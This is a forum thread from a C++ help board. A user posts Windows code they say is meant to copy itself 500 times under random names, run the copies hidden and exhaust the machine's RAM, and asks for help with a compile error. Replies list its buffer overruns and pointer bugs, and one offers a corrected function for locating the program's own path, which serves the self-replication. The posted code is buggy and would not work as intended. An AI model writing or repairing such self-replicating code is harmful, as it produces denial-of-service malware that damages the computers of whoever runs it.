View Full Version: Compile error

C++ Learning Community > C++ Help > Compile error


Title: Compile error


Sesshomaru's_slave - February 5, 2007 01:45 AM (GMT)
This code is supposed to make 500 copies of itself, open them, and delete itself, then they make 500 copies of themselves, thus taking up all the ram:
CODE

#define W32_LEAN_AND_MEAN
#define TSARSTRUCT 1052
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <cstring>

// character string to generate random filename
char *beg[65] = {
"a","b","c","d","e","f","g","h","i","j","k","l","m","n",
"o","p","q","r","s","t","u","v","w","x","y","z","A","B",
"C","D","E","F","G","H","I","J","K","L","M","N","O","P",
"Q","R","S","T","U","V","W","X","y","Z","1","2","3","4",
            "5","6","7","8","9","0","-","_"
};
int ret = 0;
// ret is our control integer
// we will only go through 500 times to save ram.

char *path = "";

char * getpath()
{
char *path = (char*)malloc(1024);
HINSTANCE hinst = GetModuleHandle(NULL); //get our module handle
GetModuleFileName(hinst,path,1024);
return path;
}

void genfile()
{
   srand(time(NULL));
int len = rand() % 25;
int b;
// generate random number from 1-50
char buff;
strcpy(&buff," ");
// clear buffer
int x = 0;
   srand(time(NULL));
/*This is going to go into
a non ending loop*/
#ifndef TSARSTRUCT
return;
#endif
while (1) {
x++;
       b = rand() % 65;
//get random number from 1-85
strcat(&buff,(const char*)beg[b]);
// concat to the end of the buffer the value of the character
if (x==len)
{
     strcat(&buff,".exe");
           strcpy(&path,&buff);
           return;
}
}
}


void Atom()
{
// we will now split the atom!
ret++; // increment ret
char pat, *pt;
genfile(); //generate filename
pt = &pat;
if (path=="")
  return;
pt = getpath(); // get the path to our file
CopyFile((LPCTSTR)pt,(LPCTSTR)path,0);
// here we copy the file to the random filename generated path
// then we will restart
ShellExecute(0,"open",(const char*)path,NULL,NULL,SW_HIDE);
// this will execute the copied file
if (ret==500)
return; //if our shelled number is equal to 500 we will end
}




int APIENTRY WinMain(HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR     lpCmdLine,
                    int       nCmdShow)
{
#ifdef TSARSTRUCT
return 0;
#endif
Atom();
return 0;
}


but I keep getting this error:
CODE

ERROR:
56 C:\Dev-Cpp\nomorememory\main.cpp cannot convert `char**' to `char*' for argument `1' to `char* strcpy(char*, const char*)'

Compile log:
Compiler: Default compiler
Building Makefile: "C:\Dev-Cpp\nomorememory\Makefile.win"
Executing  make...
make.exe -f "C:\Dev-Cpp\nomorememory\Makefile.win" all
g++.exe -c main.cpp -o main.o -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include"  -I"C:/Dev-Cpp/include/c++/3.4.2/backward"  -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32"  -I"C:/Dev-Cpp/include/c++/3.4.2"  -I"C:/Dev-Cpp/include"  

main.cpp: In function `void genfile()':
main.cpp:56: error: cannot convert `char**' to `char*' for argument `1' to `char* strcpy(char*, const char*)'

make.exe: *** [main.o] Error 1

Execution terminated


I am using Dev c++
Please help cause i'm a noob.

Sesshomaru's_slave - February 5, 2007 01:53 AM (GMT)
oops... sorry for the double thread/post my internet was being stupid for a second. :unsure:

Rmstn1580 - February 5, 2007 02:47 AM (GMT)
Oh you, always trying to hack people :) For strcpy I don't think you have to reference it?

myork - February 5, 2007 03:17 PM (GMT)

Man that code is so full of bugs I need a can of raid.
Do you not understand the difference between a pointer and a buffer?

CODE
char *path = "";

Here path points at a memory location (which happens to be const char*). But there is only one space. If you try and index further into memory using path you will be hitting random elements of your code.

CODE
           strcpy(&path,&buff);

So this line is going to do something very nasty (if it was correct). Note that &path is the address of the pointer not the address of the buffer (which happens to be 1 byte long [just long enough to hold the '\0'])


CODE
if (ret==500)
return; //if our shelled number is equal to 500 we will end


Even if ret ever got bigger than 1 (which it never does). Then so what. There is no loop so this function will only ever create one copy of the code.


Note that the type of the input parameters for GetModuleFileName() are:
CODE
DWORD WINAPI GetModuleFileName(
 HMODULE hModule,
 LPTSTR lpFilename,
 DWORD nSize
);
Notice that lpFilename has a type of LPTSTR. This is a string of where each character in the string is a TCHAR. So your value of nSize may not be correct depending on your compilation options (it may be correct but just by dump luck).


The code should look more like:
CODE
LPTSTR getpath()
{
   LPTSTR path = (LPTSTR )malloc(sizeof(TCHAR) * 1024);
   if (path)
   {
       HINSTANCE hinst = GetModuleHandle(NULL); //get our module handle
       GetModuleFileName(hinst,path,1024);
       /*
        * Add code to check for error
        */
   }
   return(path);
}



Another buffer overrun.
CODE
char buff;
strcpy(&buff," ");

Here you are coping 2 characters (space and '\0') into a buffer that only holds 1 character (because it is not a buffer but only a single character).



CODE
pt = getpath(); // get the path to our file
CopyFile((LPCTSTR)pt,(LPCTSTR)path,0);


OK. pt now points at memory allocated by getpath(). but there is no de-allocation. So memory is leaked. The fact that you have to explicitly cast your input parameters (LPCTSTR)pt should tell you that something is wrong (like the type).

Zaqufant - February 6, 2007 12:01 AM (GMT)
QUOTE
Man that code is so full of bugs I need a can of raid.


Ur funny. Maybe you should hire an extinguisher.

FrozenKnight - February 6, 2007 11:55 AM (GMT)
QUOTE (Zaqufant @ Feb 5 2007, 05:01 PM)
QUOTE
Man that code is so full of bugs I need a can of raid.


Ur funny. Maybe you should hire an extinguisher.

i think you mean exterminator.




Hosted for free by InvisionFree